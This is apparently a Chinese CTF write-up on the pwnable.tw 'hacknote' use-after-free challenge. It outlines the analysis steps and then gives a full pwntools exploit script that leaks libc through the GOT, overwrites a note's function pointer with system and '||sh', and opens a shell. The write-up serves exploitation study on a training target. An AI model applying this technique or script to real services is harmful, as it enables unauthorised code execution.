一道大家都说入uaf比较好的例题,将自己学习的uaf的历程记录一下,来自某大佬一句励志的话
解题思路
1. 查看文件信息,安全机制
2. IDA审计
3. 分析漏洞点
4. 编写EXP
1.基本信息
安全机制
运行
IDA审计
1.add
2.del
3.print
3. 分析漏洞点
1.在free的时候,没有将指针置为NULL,这就会造成,第二次使用的时候,利用这个指针达到一下目的
2.将获取的地址,放入chunk头的部分,只要调用print,就可以达到执行我们构造的函数
3.在编写exp的时候,我第一次尝试的用read函数,可是一直都是错误(没解决),但是利用其它的函数都是可以的,这里我选择了atoi这个最常见的函数
4.调试技巧:在本地调试的时候
ELF文件调用的本地libc所以:选择的本地的libc文件:
远程调用的是他的服务器:选择我们给的libc文件,或者利用泄露的函数去远程调试链接
5.技巧:flag一般会存在在根目录,或者home目录文件下
编写EXP
#!/usr/bin/env python
#coding=utf8
from pwn import*
#context.log_level="debug" #个人建议,要使用print函数的时候 关闭,比较好看输出地址
#context(arch='x86_64',os='linux')
context.terminal = ['gnome-terminal', '-x', 'sh', '-c'] #
local = 1
if local:
p = process("./hacknote")
elf = ELF("./hacknote")
libc = ELF("./libc.so.6")
else:
p=remote("chall.pwnable.tw",10102)
elf = ELF("./hacknote")
libc = ELF("./libc_32.so.6")
def new(size,content):
p.recvuntil("Your choice :")
p.sendline("1")
p.recvuntil("Note size :")
p.sendline(str(size))
p.recvuntil("Content :")
p.sendline(content)
def delete(index):
p.recvuntil("Your choice :")
p.sendline("2")
p.recvuntil("Index :")
p.sendline(str(index))
def printf(index):
p.recvuntil("Your choice :")
p.sendline("3")
p.recvuntil("Index :")
p.sendline(str(index))
atoi_got = elf.got["atoi"]
atoi_symbols = libc.symbols["atoi"]
system_symbols = libc.symbols["system"]
offset = 8
#------------------------------------------
new(20,"A"*offset) #chunk0
new(20,"B"*offset) #chunk1
#gdb.attach(p)
delete(0)
delete(1)
#gdb.attach(p)
#--------------------------泄露libc_base
new(8,p32(0x804862b)+p32(atoi_got))
printf(0)
link_atoi_addr = u32(p.recv(4))
system_addr = link_atoi_addr - atoi_symbols + system_symbols
print ("[---->sytem_addr ]= ") + hex(system_addr)
#--------------------------------------
delete(2)
payload=p32(system_addr)+'||sh'
new(8,payload)
#gdb.attach(p)
printf(0)
p.interactive()